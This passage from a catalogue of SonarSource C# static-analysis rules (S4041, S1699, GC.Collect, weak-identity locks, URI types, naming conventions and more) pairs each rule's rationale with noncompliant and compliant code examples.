var areStringEqual = "INTEGER".ToLower() == "integer"; // Noncompliant, the result is false as the ToLower will resolve to "ınteger"
var areCharEqual = char.ToLower('I') == 'i'; // Noncompliant, the result is false as the ToLower will resolve to "ı"

var incorrectRoundtrip = "İ".ToLowerInvariant().ToUpper() == "I".ToLowerInvariant().ToUpper(); // Noncompliant, because of the lower we lose the information about the correct uppercase character

Compliant Solution

Thread.CurrentThread.CurrentCulture = new CultureInfo("tr-TR");
var areStringEqual = "ınteger".ToUpperInvariant() == "ıNTEGER";
var areCharEqual = char.ToUpperInvariant('ı') == 'ı';
var correctRoundtrip = "İ".ToUpperInvariant().ToLower() != "I".ToUpperInvariant().ToLower();

See

csharpsquid:S4041

When a type name matches the name of a publicly defined namespace, for instance one in the .NET framework class library, it leads to confusion and makes the library that much harder to use.

This rule raises an issue when a name of a public type matches the name of a .NET Framework namespace, or a namespace of the project assembly, in a case-insensitive comparison.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  public class Text   // Noncompliant: Collides with System.Text
  {
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
  public class MyText
  {
  }
}
csharpsquid:S1699

Calling an overridable method from a constructor could result in failures or strange behaviors when instantiating a subclass which overrides the method.

For example:

  • The subclass class constructor starts by calling the parent class constructor.
  • The parent class constructor calls the method, which has been overridden in the child class.
  • If the behavior of the child class method depends on fields that are initialized in the child class constructor, unexpected behavior (like a NullReferenceException) can result, because the fields aren't initialized yet.

Noncompliant Code Example

public class Parent
{
  public Parent()
  {
    DoSomething();  // Noncompliant
  }

  public virtual void DoSomething() // can be overridden
  {
    ...
  }
}

public class Child : Parent
{
  private string foo;

  public Child(string foo) // leads to call DoSomething() in Parent constructor which triggers a NullReferenceException as foo has not yet been initialized
  {
    this.foo = foo;
  }

  public override void DoSomething()
  {
    Console.WriteLine(this.foo.Length);
  }
}

See

  • CERT, MET05-J. - Ensure that constructors do not call overridable methods
  • CERT, OOP50-CPP. - Do not invoke virtual functions from constructors or destructors
csharpsquid:S1215

Calling GC.Collect is rarely necessary, and can significantly affect application performance. That's because it triggers a blocking operation that examines every object in memory for cleanup. Further, you don't have control over when this blocking cleanup will actually run.

As a general rule, the consequences of calling this method far outweigh the benefits unless perhaps you've just triggered some event that is unique in the run of your program that caused a lot of long-lived objects to die.

This rule raises an issue when GC.Collect is invoked.

Noncompliant Code Example

static void Main(string[] args)
{
  // ...
  GC.Collect(2, GCCollectionMode.Optimized); // Noncompliant
}
csharpsquid:S3998

A thread acquiring a lock on an object that can be accessed across application domain boundaries runs the risk of being blocked by another thread in a different application domain. Objects that can be accessed across application domain boundaries are said to have weak identity. Types with weak identity are:

  • MarshalByRefObject
  • ExecutionEngineException
  • OutOfMemoryException
  • StackOverflowException
  • String
  • MemberInfo
  • ParameterInfo
  • Thread

Noncompliant Code Example

using System;
using System.Threading;

namespace MyLibrary
{
  class Foo
  {
    string myString = "foo";

    void Bar()
    {
      lock(myString) { } // Noncompliant
    }
  }
}

Compliant Solution

using System;
using System.Threading;

namespace MyLibrary
{
  class Foo
  {
    string myString = "foo";
    private readonly Object thisLock = new Object();

    void Bar()
    {
      lock(thisLock) { } // Compliant
    }
  }
}
csharpsquid:S3877

It is expected that some methods should be called with caution, but others, such as ToString, are expected to "just work". Throwing an exception from such a method is likely to break callers' code unexpectedly.

An issue is raised when an exception is thrown from any of the following:

  • Event accessors
  • Object.Equals
  • IEquatable.Equals
  • GetHashCode
  • ToString
  • static constructors
  • IDisposable.Dispose
  • operator ==, !=, <, >, <=, >=
  • implicit cast operators

Noncompliant Code Example

public override string ToString()
{
  if (string.IsNullOrEmpty(Name))
  {
    throw new ArgumentException("...");  // Noncompliant
  }
  //...

Exceptions

System.NotImplementedException and its derivatives are ignored.

System.InvalidOperationException, System.NotSupportedException, and System.ArgumentException and their derivatives are ignored in event accessors.

csharpsquid:S2306

Since C# 5.0, async and await are contextual keywords. Contextual keywords do have a particular meaning in some contexts, but can still be used as variable names. Keywords, on the other hand, are always reserved, and therefore are not valid variable names. To avoid any confusion though, it is best to not use async and await as identifiers.

Noncompliant Code Example

int await = 42; // Noncompliant

Compliant Solution

int someOtherName = 42;
csharpsquid:S3990

Assemblies should conform with the Common Language Specification (CLS) in order to be usable across programming languages. To be compliant an assembly has to indicate it with System.CLSCompliantAttribute.

Compliant Solution

using System;

[assembly:CLSCompliant(true)]
namespace MyLibrary
{
}
csharpsquid:S1450

When the value of a private field is always assigned to in a class' methods before being read, then it is not being used to store class information. Therefore, it should become a local variable in the relevant methods to prevent any misunderstanding.

Noncompliant Code Example

public class Foo
{
  private int singularField;

  public void DoSomething(int x)
  {
    singularField = x + 5;

    if (singularField == 0) { /* ... */ }
  }
}

Compliant Solution

public class Foo
{
  public void DoSomething(int x)
  {
    int localVariable = x + 5;

    if (localVariable == 0) { /* ... */ }
  }
}
csharpsquid:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

The headerFormat must end with an empty line if you want to have an empty line between the file header and the first line for your source file (using, namespace...).

For example, if you want the source file to look like this

// Copyright (c) SonarSource. All Rights Reserved. Licensed under the LGPL License.  See License.txt in the project root for license information.

namespace Foo
{
}

then the headerFormat parameter should end with an empty line like this

// Copyright (c) SonarSource. All Rights Reserved. Licensed under the LGPL License.  See License.txt in the project root for license information.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
csharpsquid:S3872

The name of a method should communicate what it does, and the names of its parameters should indicate how they're used. If a method and its parameter have the same name it is an indication that one of these rules of thumb has been broken, if not both. Even if by some trick of language that's not the case, it is still likely to confuse callers and maintainers.

Noncompliant Code Example

public void Login(string login)  // Noncompliant
{
  //...
}

Compliant Solution

public void Login(string userName)
{
  //...
}
csharpsquid:S3993

When defining custom attributes, System.AttributeUsageAttribute must be used to indicate where the attribute can be applied. This will determine its valid locations in the code.

Noncompliant Code Example

using System;

namespace MyLibrary
{

   public sealed class MyAttribute :Attribute // Noncompliant
   {
      string text;

      public MyAttribute(string myText)
      {
         text = myText;
      }
      public string Text
      {
         get
         {
            return text;
         }
      }
   }
}

Compliant Solution

using System;

namespace MyLibrary
{

   [AttributeUsage(AttributeTargets.Class | AttributeTargets.Enum | AttributeTargets.Interface | AttributeTargets.Delegate)]
   public sealed class MyAttribute :Attribute
   {
      string text;

      public MyAttribute(string myText)
      {
         text = myText;
      }
      public string Text
      {
         get
         {
            return text;
         }
      }
   }
}
csharpsquid:S1694

The purpose of an abstract class is to provide some heritable behaviors while also defining methods which must be implemented by sub-classes.

A class with no abstract methods that was made abstract purely to prevent instantiation should be converted to a concrete class (i.e. remove the abstract keyword) with a protected constructor.

A class with only abstract methods and no inheritable behavior should be converted to an interface.

Noncompliant Code Example

public abstract class Animal //Noncompliant; should be an interface
{
  abstract void Move();
  abstract void Feed();
}

public abstract class Color //Noncompliant; should be concrete with a private constructor
{
  private int red = 0;
  private int green = 0;
  private int blue = 0;

  public int GetRed()
  {
    return red;
  }
}

Compliant Solution

public interface Animal
{
  void Move();
  void Feed();
}

public class Color
{
  private int red = 0;
  private int green = 0;
  private int blue = 0;

  protected Color()
  {}

  public int GetRed()
  {
    return red;
  }
}

public abstract class Lamp
{
  private bool switchLamp = false;

  public abstract void Glow();

  public void FlipSwitch()
  {
    switchLamp = !switchLamp;
    if (switchLamp)
    {
      Glow();
    }
  }
}
csharpsquid:S1210

When you implement IComparable or IComparable<T> on a class you should also override Equals(object) and overload the comparison operators (==, !=, <, <=, >, >=). That's because the CLR cannot automatically call your CompareTo implementation from Equals(object) or from the base comparison operator implementations. Additionally, it is best practice to override GetHashCode along with Equals.

This rule raises an issue when a class implements IComparable without also overriding Equals(object) and the comparison operators.

Noncompliant Code Example

public class Foo: IComparable  // Noncompliant
{
  public int CompareTo(object obj) { /* ... */ }
}

Compliant Solution

public class Foo: IComparable
{
  public int CompareTo(object obj) { /* ... */ }
  public override bool Equals(object obj)
  {
    var other = obj as Foo;
    if (object.ReferenceEquals(other, null))
    {
      return false;
    }
    return this.CompareTo(other) == 0;
  }
  public int GetHashCode() { /* ... */ }
  public static bool operator == (Foo left, Foo right)
  {
    if (object.ReferenceEquals(left, null))
    {
      return object.ReferenceEquals(right, null);
    }
    return left.Equals(right);
  }
  public static bool operator > (Foo left, Foo right)
  {
    return Compare(left, right) > 0;
  }
  public static bool operator < (Foo left, Foo right)
  {
    return Compare(left, right) < 0;
  }
  public static bool operator != (Foo left, Foo right)
  {
    return !(left == right);
  }
}
csharpsquid:S3871

The point of having custom exception types is to convey more information than is available in standard types. But custom exception types must be public for that to work.

If a method throws a non-public exception, the best you can do on the caller's side is to catch the closest public base of the class. That is, you lose all that custom information you created the exception type to pass.

Noncompliant Code Example

internal class MyException : Exception   // Noncompliant
{
  // ...
}

Compliant Solution

public class MyException : Exception
{
  // ...
}

Exceptions

This rule ignores Exception types that are not derived directly from System.Exception, System.SystemException, or System.ApplicationException.

See

csharpsquid:S3992

Assemblies should explicitly indicate whether they are meant to be COM visible or not. If the ComVisibleAttribute is not present, the default is to make the content of the assembly visible to COM clients.

Note that COM visibility can be overridden for individual types and members.

Noncompliant Code Example

using System;

namespace MyLibrary  // Noncompliant
{
}

Compliant Solution

using System;

[assembly: System.Runtime.InteropServices.ComVisible(false)]
namespace MyLibrary
{
}
csharpsquid:S4047

When a reference parameter (keyword ref) is used, the passed argument type must exactly match the reference parameter type. This means that to be able to pass a derived type, it must be cast and assigned to a variable of the proper type. Use of generic methods eliminates that cumbersome down casting and should therefore be preferred.

This rule raises an issue when a method contains a ref parameter of type System.Object.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  public class Foo
  {
    public void Bar(ref object o1, ref object o2) // Noncompliant
    {
    }
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
  public class Foo
  {
    public void Bar<T>(ref T ref1, ref T ref2)
    {
    }
  }
}
csharpsquid:S3874

Passing a parameter by reference, which is what happens when you use the out or ref parameter modifiers, means that the method will receive a pointer to the argument, rather than the argument itself. If the argument was a value type, the method will be able to change the argument's values. If it was a reference type, then the method receives a pointer to a pointer, which is usually not what was intended. Even when it is what was intended, this is the sort of thing that's difficult to get right, and should be used with caution.

This rule raises an issue when out or ref is used on a non-Optional parameter in a public method. Optional parameters are covered by S3447.

Noncompliant Code Example

public void GetReply(
         ref MyClass input, // Noncompliant
         out string reply)  // Noncompliant
{ ... }

Compliant Solution

public string GetReply(MyClass input)
{ ... }

public bool TryGetReply(MyClass input, out string reply)
{ ... }

public ReplyData GetReply(MyClass input)
{ ... }

internal void GetReply(ref MyClass input, out string reply)
{ ... }

Exceptions

This rule will not raise issues for:

- non-public methods

- methods with only 'out' parameters, name starting with "Try" and return type bool.

- interface implementation methods

csharpsquid:S3995

String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The System.Uri class is a safe alternative and should be preferred.

This rule raises an issue when a method has a string return type and its name contains "Uri", "Urn", or "Url" or begins with "uri", "urn", or "url".

Noncompliant Code Example

using System;

namespace MyLibrary
{
   public class MyClass
   {
      public string GetParentUri() // Noncompliant
      {
         return "http://www.mysite.com";
      }
   }
}

Compliant Solution

using System;

namespace MyLibrary
{
   public class MyClass
   {

      public Uri GetParentUri()
      {
         return new URI("http://www.mysite.com");
      }
   }
}
csharpsquid:S1696

NullReferenceException should be avoided, not caught. Any situation in which NullReferenceException is explicitly caught can easily be converted to a null test, and any behavior being carried out in the catch block can easily be moved to the "is null" branch of the conditional.

Noncompliant Code Example

public int GetLengthPlusTwo(string str)
{
    int length = 2;
    try
    {
       length += str.Length;
    }
    catch (NullReferenceException e)
    {
        log.info("argument was null");
    }
    return length;
}

Compliant Solution

public int GetLengthPlusTwo(string str)
{
    int length = 2;

    if (str != null)
    {
        length += str.Length;
    }
    else
    {
        log.info("argument was null");
    }
    return length;
}

See

  • MITRE, CWE-395 - Use of NullPointerException Catch to Detect NULL Pointer Dereference
  • CERT, ERR08-J. - Do not catch NullPointerException or any of its ancestors
csharpsquid:S4049

Properties are accessed like fields which makes them easier to use.

This rule raises an issue when the name of a public or protected method starts with Get, takes no parameter, and returns a value that is not an array.

Noncompliant Code Example

using System;

namespace MyLibrary
{
    public class Foo
    {
        private string name;

        public string GetName()  // Noncompliant
        {
            return name;
        }
    }
}

Compliant Solution

using System;

namespace MyLibrary
{
    public class Foo
    {
        private string name;

        public string Name
        {
            get
            {
                return name;
            }
        }
    }
}

Exceptions

The rule doesn't raise an issue when the method:

  • Is a constructor
  • Is an override
  • Is an interface implementation
  • Is async
  • Returns Task, Task<T>
  • Is named GetEnumerator, GetAwaiter
csharpsquid:S3994

String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The System.Uri class is a safe alternative and should be preferred. At minimum, an overload of the method taking a System.Uri as a parameter should be provided in each class that contains a method with an apparent Uri passed as a string.

This rule raises issues when a method has a string parameter with a name containing "uri", "Uri", "urn", "Urn", "url" or "Url", and the type doesn't declare a corresponding overload taking an System.Uri parameter instead.

Noncompliant Code Example

using System;

namespace MyLibrary
{
   public class MyClass
   {

      public void FetchResource(string uriString) { } // Noncompliant
   }
}

Compliant Solution

using System;

namespace MyLibrary
{
   public class MyClass
   {

      public void FetchResource(string uriString)
      {
          FetchResource(new Uri(uriString));
      }

      public void FetchResource(Uri uri) { }
   }
}
csharpsquid:S1697

When either the equality operator in a null test or the logical operator that follows it is reversed, the code has the appearance of safely null-testing the object before dereferencing it. Unfortunately the effect is just the opposite - the object is null-tested and then dereferenced only if it is null, leading to a guaranteed null pointer dereference.

Noncompliant Code Example

if (str == null && str.Length == 0)
{
  Console.WriteLine("String is empty");
}

if (str != null || str.Length > 0)
{
  Console.WriteLine("String is not empty");
}

Compliant Solution

if (str == null || str.Length == 0)
{
  Console.WriteLine("String is empty");
}

if (str != null && str.Length > 0)
{
  Console.WriteLine("String is not empty");
}

Deprecated

This rule is deprecated; use S2259 instead.

csharpsquid:S3876

Strings and integral types are typically used as indexers. When some other type is required, it typically indicates design problems, and potentially a situation where a method should be used instead.

Noncompliant Code Example

public int this[MyCustomClass index]  // Noncompliant
{
    // get and set accessors
}
csharpsquid:S3997

String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The System.Uri class is a safe alternative and should be preferred.

This rule raises an issue when two overloads differ only by the string / Uri parameter and the string overload doesn't call the Uri overload. It is assumed that the string parameter represents a URI because of the exact match besides that parameter type. It stands to reason that the safer overload should be used.

Noncompliant Code Example

using System;

namespace MyLibrary
{
   public class MyClass
   {
      public void FetchResource(string uriString) // Noncompliant
      {
         // No calls to FetResource(Uri)
      }

      public void FetchResource(Uri uri) { }
   }
}

Compliant Solution

using System;

namespace MyLibrary
{
   public class MyClass
   {
      public void FetchResource(string uriString)
      {
          FetchResource(new Uri(uriString));
      }

      public void FetchResource(Uri uri) { }
   }
}
csharpsquid:S3875

The use of == to compare to objects is expected to do a reference comparison. That is, it is expected to return true if and only if they are the same object instance. Overloading the operator to do anything else will inevitably lead to the introduction of bugs by callers. On the other hand, overloading it to do exactly that is pointless; that's what == does by default.

Noncompliant Code Example

public static bool operator== (MyType x, MyType y) // Noncompliant
{

Exceptions

  • Classes with overloaded operator + or operator - methods are ignored.
  • Classes that implement IComparable<T> or IEquatable<T> most probably behave as a value-type objects and so are ignored.
csharpsquid:S2302

Because parameter names could be changed during refactoring, they should not be spelled out literally in strings. Instead, use nameof(), and the string that's output will always be correct.

This rule raises an issue when a string in the throw statement contains the name of one of the method parameters.

Noncompliant Code Example

void DoSomething(int someParameter, string anotherParam)
{
    if (someParameter < 0)
    {
        throw new ArgumentException("Bad argument", "someParameter");  // Noncompliant
    }
    if (anotherParam == null)
    {
        throw new Exception("anotherParam should not be null"); // Noncompliant
    }
}

Compliant Solution

void DoSomething(int someParameter)
{
    if (someParameter < 0)
    {
        throw new ArgumentException("Bad argument", nameof(someParameter));
    }
    if (anotherParam == null)
    {
        throw new Exception($"{nameof(anotherParam)} should not be null");
    }
}

Exceptions

  • The rule doesn't raise any issue when using C# < 6.0.
  • When the parameter name is contained in a sentence inside the throw statement string, the rule will raise an issue only if the parameter name is at least 5 characters long. This is to avoid false positives.
csharpsquid:S1698

Using the equality == and inequality != operators to compare two objects generally works. The operators can be overloaded, and therefore the comparison can resolve to the appropriate method. However, when the operators are used on interface instances, then == resolves to reference equality, which may result in unexpected behavior if implementing classes override Equals. Similarly, when a class overrides Equals, but instances are compared with non-overloaded ==, there is a high chance that value comparison was meant instead of the reference one.

Noncompliant Code Example

public interface IMyInterface
{
}

public class MyClass : IMyInterface
{
    public override bool Equals(object obj)
    {
        //...
    }
}

public class Program
{
    public static void Method(IMyInterface instance1, IMyInterface instance2)
    {
        if (instance1 == instance2) // Noncompliant, will do reference equality check, but was that intended? MyClass overrides Equals.
        {
            Console.WriteLine("Equal");
        }
    }
}

Compliant Solution

public interface IMyInterface
{
}

public class MyClass : IMyInterface
{
    public override bool Equals(object obj)
    {
        //...
    }
}

public class Program
{
    public static void Method(IMyInterface instance1, IMyInterface instance2)
    {
        if (object.Equals(instance1, instance2)) // object.Equals checks for null and then calls the instance based Equals, so MyClass.Equals
        {
            Console.WriteLine("Equal");
        }
    }
}

Exceptions

The rule does not report on comparisons of System.Type instances and on comparisons inside Equals overrides.

It also does not raise an issue when one of the operands is null nor when one of the operand is cast to object (because in this case we want to ensure reference equality even if some == overload is present).

See

  • MITRE, CWE-595 - Comparison of Object References Instead of Object Contents
  • MITRE, CWE-597 - Use of Wrong Operator in String Comparison
  • CERT, EXP03-J. - Do not use the equality operators when comparing values of boxed primitives
  • CERT, EXP50-J. - Do not confuse abstract object equality with reference equality
csharpsquid:S3996

String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The System.Uri class is a safe alternative and should be preferred.

This rule raises an issue when a property is a string type and its name contains "uri", "Uri", "urn", "Urn", "url" or "Url".

Noncompliant Code Example

using System;

namespace MyLibrary
{
   public class MyClass
   {
      string myUri;

      public string MyUri // Noncompliant
      {
         get { return myURI; }
         set { myUri = value; }
      }
   }
}

Compliant Solution

using System;

namespace MyLibrary
{
   public class MyClass
   {
      Uri myUri;

      public Uri MyUri
      {
         get { return myURI; }
         set { myUri = value; }
      }
   }
}
csharpsquid:S2291

Enumerable.Sum() always executes addition in a checked context, so an OverflowException will be thrown if the value exceeds MaxValue even if an unchecked context was specified. Using an unchecked context anyway represents a misunderstanding of how Sum works.

This rule raises an issue when an unchecked context is specified for a Sum on integer types.

Noncompliant Code Example

void Add(List<int> list)
{
  int d = unchecked(list.Sum());  // Noncompliant

  unchecked
  {
    int e = list.Sum();  // Noncompliant
  }
}

Compliant Solution

void Add(List<int> list)
{
  int d = list.Sum();

  try
  {
    int e = list.Sum();
  }
  catch (System.OverflowException e)
  {
    // exception handling...
  }
}

Exceptions

When the Sum() call is inside a try-catch block, no issues are reported.

void Add(List<int> list)
{
  unchecked
  {
    try
    {
      int e = list.Sum();
    }
    catch (System.OverflowException e)
    {
      // exception handling...
    }
  }
}
csharpsquid:S2290

Field-like events are events that do not have explicit add and remove methods. The compiler generates a private delegate field to back the event, as well as generating the implicit add and remove methods.

When a virtual field-like event is overridden by another field-like event, the behavior of the C# compiler is to generate a new private delegate field in the derived class, separate from the parent's field. This results in multiple and separate events being created, which is rarely what's actually intended.

To prevent this, remove the virtual designation from the parent class event.

Noncompliant Code Example

abstract class Car
{
  public virtual event EventHandler OnRefueled; // Noncompliant

  public void Refuel()
  {
    // This OnRefueled will always be null
     if (OnRefueled != null)
     {
       OnRefueled(this, null);
     }
  }
}

class R2 : Car
{
  public override event EventHandler OnRefueled;
}

class Program
{
  static void Main(string[] args)
  {
    var r2 = new R2();
    r2.OnRefueled += new EventHandler((o, a) =>
    {
      Console.WriteLine("This event will never be called");
    });
    r2.Refuel();
  }
}

Compliant Solution

abstract class Car
{
  public event EventHandler OnRefueled; // Compliant

  public void Refuel()
  {
    if (OnRefueled != null)
    {
      OnRefueled(this, null);
    }
  }
}

class R2 : Car {}

class Program
{
  static void Main(string[] args)
  {
    var r2 = new R2();
    r2.OnRefueled += new EventHandler((o, a) =>
    {
      Console.WriteLine("This event will be called");
    });
    r2.Refuel();
  }
}
csharpsquid:S3261

Namespaces with no lines of code clutter a project and should be removed.

Noncompliant Code Example

namespace MyEmptyNamespace // Noncompliant
{

}
csharpsquid:S2292

Trivial properties, which include no logic but setting and getting a backing field should be converted to auto-implemented properties, yielding cleaner and more readable code.

Noncompliant Code Example

public class Car
{
  private string _make;
  public string Make // Noncompliant
  {
    get { return _make; }
    set { _make = value; }
  }
}

Compliant Solution

public class Car
{
  public string Make { get; set; }
}
csharpsquid:S3263

Static field initializers are executed in the order in which they appear in the class from top to bottom. Thus, placing a static field in a class above the field or fields required for its initialization will yield unexpected results.

Noncompliant Code Example

class MyClass
{
  public static int X = Y; // Noncompliant; Y at this time is still assigned default(int), i.e. 0
  public static int Y = 42;
}

Compliant Solution

class MyClass
{
  public static int Y = 42;
  public static int X = Y;
}

or

class MyClass
{
  public static int X;
  public static int Y = 42;

  static MyClass()
  {
    X = Y;
  }
}
csharpsquid:S3262

Overriding methods automatically inherit the params behavior. To ease readability, this modifier should be explicitly used in the overriding method as well.

Noncompliant Code Example

class Base
{
  public virtual void Method(params int[] numbers)
  {
    ...
  }
}
class Derived : Base
{
  public override void Method(int[] numbers) // Noncompliant, the params is missing.
  {
    ...
  }
}

Compliant Solution

class Base
{
  public virtual void Method(params int[] numbers)
  {
    ...
  }
}
class Derived : Base
{
  public override void Method(params int[] numbers)
  {
    ...
  }
}
csharpsquid:S2857

Badly formed SQL is likely to cause errors at runtime.

This rule raises an issue when the spacing around SQL keywords appears to be missing.

Noncompliant Code Example

string select = "SELECT p.fname, p.lname, p.street1, p.street2, p.city, p.state, p.zip" +
        "FROM person p" +  // Noncompliant; concatenates to: p.zipFROM
        "WHERE p.id = @ID";  // Noncompliant; concatenates to: pWHERE

Compliant Solution

string select = "SELECT p.fname, p.lname, p.street1, p.street2, p.city, p.state, p.zip" +
    " FROM person p" +
    " WHERE p.id = @ID";
csharpsquid:S2737

A catch clause that only rethrows the caught exception has the same effect as omitting the catch altogether and letting it bubble up automatically, but with more code and the additional detriment of leaving maintainers scratching their heads.

Such clauses should either be eliminated or populated with the appropriate logic.

Noncompliant Code Example

string s = "";
try
{
  s = File.ReadAllText(fileName);
}
catch (Exception e)  // Noncompliant
{
  throw;
}

Compliant Solution

string s = "";
try
{
  s = File.ReadAllText(fileName);
}
catch (Exception e) // Compliant
{
  logger.LogError(e);
  throw;
}

or

string s = File.ReadAllText(fileName);

Exceptions

This rule will not generate issues for catch blocks with just throw inside if they are followed by a catch block for a more general exception type that does more than just rethrowing the exception.

var s = ""
try
{
    s = File.ReadAllText(fileName);
}
catch (IOException) // Compliant, if removed will change the logic
{
    throw;
}
catch (Exception)  // Compliant, does more than just rethrow
{
    logger.LogError(e);
    throw;
}
csharpsquid:S3949

Numbers are infinite, but the types that hold them are not. Each numeric type has hard upper and lower bounds. Try to calculate or assign numbers beyond those bounds, and the result will be a value that has silently wrapped around from the expected positive value to a negative one, or vice versa.

This rule is only available for analyses run on Windows machines. It will not be reported in analyses run on any other OS.

Noncompliant Code Example

public int getTheNumber(int val) {
  if (val <= 0) {
      return val;
  }
  int num = int.MaxValue;
  return num + val;  // Noncompliant
}
csharpsquid:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks whether or not method and property names are PascalCased. To reduce noise, two consecutive upper case characters are allowed unless they form the whole name. So, MyXMethod is compliant, but XM on its own is not.

Noncompliant Code Example

public int doSomething() {...}

Compliant Solution

public int DoSomething() {...}

Exceptions

  • The rule ignores members in types that are marked with ComImportAttribute or InterfaceTypeAttribute.
  • The rule ignores extern methods.
  • The rule allows for two-letter acronyms in which both letters are capitalized, as shown in the following identifier: ExecuteOnUIThread.
  • Furthermore, when '_' character is found in a name, the camel casing is not enforced.
void My_method(){...} // valid
void My_method_(){...} // invalid, leading and trailing underscores are reported

See

Microsoft Capitalization Conventions

csharpsquid:S3265

enums are usually used to identify distinct elements in a set of values. However enums can be treated as bit fields and bitwise operations can be used on them to combine the values. This is a good way of specifying multiple elements of set with a single value. When enums are used this way, it is a best practice to mark the enum with the FlagsAttribute.

Noncompliant Code Example

enum Permissions
{
  None = 0,
  Read = 1,
  Write = 2,
  Execute = 4
}
// ...

var x = Permissions.Read | Permissions.Write;  // Noncompliant; enum is not marked with [Flags]

Compliant Solution

[Flags]
enum Permissions
{
  None = 0,
  Read = 1,
  Write = 2,
  Execute = 4
}
// ...

var x = Permissions.Read | Permissions.Write;
csharpsquid:S101

Shared naming conventions allow teams to collaborate efficiently. This rule checks whether or not type names are using PascalCase. To reduce noise, two consecutive upper case characters are allowed unless they form the whole type name. So, MyXClass is compliant, but XC on its own is not.

Noncompliant Code Example

class my_class {...}
class SOMEName42 {...}

Compliant Solution

class MyClass {...}
class SomeName42 {...}

Exceptions

  • The rule ignores types that are marked with ComImportAttribute or InterfaceTypeAttribute.
  • The rule allows for two-letter acronyms in which both letters are capitalized, as shown in the following identifier: IOStream
  • The rule allows having '_' characters in class names inside test projects.
class Some_Name___42 {...} // valid in test
class Some_name___42 {...} // still not valid
class Some_Name_XC {...} // invalid because of XC, should be Some_Name_Xc

See

csharpsquid:S3264

Events that are not invoked anywhere are dead code, and there's no good reason to keep them in the source.

Noncompliant Code Example

class UninvokedEventSample
{
    private event Action<object, EventArgs> Happened; //Noncompliant

    public void RegisterEventHandler(Action<object, EventArgs> handler)
    {
        Happened += handler; //we register some event handlers
    }

    public void RaiseEvent()
    {
        if (Happened != null)
        {
            // Happened(this, null); // the event is never triggered, because this line is commented out.
        }
    }
}
csharpsquid:S2178

The use of non-short-circuit logic in a boolean context is likely a mistake - one that could cause serious program errors as conditions are evaluated under the wrong circumstances.

Noncompliant Code Example

if (GetTrue() | GetFalse()) // Noncompliant; both sides evaluated
{
}

Compliant Solution

if (GetTrue() || GetFalse()) // true short-circuit logic
{
}

See

  • CERT, EXP46-C. - Do not use a bitwise operator with a Boolean-like operand
csharpsquid:S2971

In the interests of readability, code that can be simplified should be simplified. To that end, there are several ways IEnumerable language integrated queries (LINQ) can be simplified

  • Use OfType instead of using Select with as to type cast elements and then null-checking in a query expression to choose elements based on type.
  • Use OfType instead of using Where and the is operator, followed by a cast in a Select
  • Use an expression in Any instead of Where(element => [expression]).Any().
  • Use Count instead of Count() when it's available.
  • Don't call ToArray() or ToList() in the middle of a query chain.

Noncompliant Code Example

seq1.Select(element => element as T).Any(element => element != null);  // Noncompliant; use OfType
seq2.Select(element => element as T).Any(element => element != null && CheckCondition(element));  // Noncompliant; use OfType
seq3.Where(element => element is T).Select(element => element as T); // Noncompliant; use OfType
seq4.Where(element => element is T).Select(element => (T)element); // Noncompliant; use OfType
seq5.Where(element => [expression]).Any();  // Noncompliant; use Any([expression])

var num = seq6.Count(); // Noncompliant
var arr = seq.ToList().ToArray(); //Noncompliant
var count = seq.ToList().Count(x=>[condition]); //Noncompliant

Compliant Solution

seq1.OfType<T>().Any();
seq2.OfType<T>().Any(element => CheckCondition(element));
seq3.OfType<T>();
seq4.OfType<T>();
seq5.Any(element => [expression])

var num = seq6.Count;
var arr = seq.ToArray();
var count = seq.Count(x=>[condition]);
csharpsquid:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Noncompliant Code Example

if ( a == a ) // always true
{
  doZ();
}
if ( a != a ) // always false
{
  doY();
}
if ( a == b && a == b ) // if the first one is true, the second one is too
{
  doX();
}
if ( a == b || a == b ) // if the first one is true, the second one is too
{
  doW();
}

int j = 5 / 5; //always 1
int k = 5 - 5; // always 0

c.Equals(c);    //always true
Object.Equals(c, c); //always true

Exceptions

This rule ignores *, +, =, <<, and >>.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
csharpsquid:S1643

StringBuilder is more efficient than string concatenation, especially when the operator is repeated over and over as in loops.

Noncompliant Code Example

string str = "";
for (int i = 0; i < arrayOfStrings.Length ; ++i)
{
  str = str + arrayOfStrings[i];
}

Compliant Solution

StringBuilder bld = new StringBuilder();
for (int i = 0; i < arrayOfStrings.Length; ++i)
{
  bld.Append(arrayOfStrings[i]);
}
string str = bld.ToString();
csharpsquid:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

public class Foo
{
    private string name = "foobar"; // Noncompliant

    public string DefaultName { get; } = "foobar"; // Noncompliant

    public Foo(string value = "foobar") // Noncompliant
    {
        var something = value ?? "foobar"; // Noncompliant
    }
}

Compliant Solution

public class Foo
{
    private const string Foobar = "foobar";

    private string name = Foobar;

    public string DefaultName { get; } = Foobar;

    public Foo(string value = Foobar)
    {
        var something = value ?? Foobar;
    }
}

Exceptions

The following are ignored:

  • literals with fewer than 5 characters
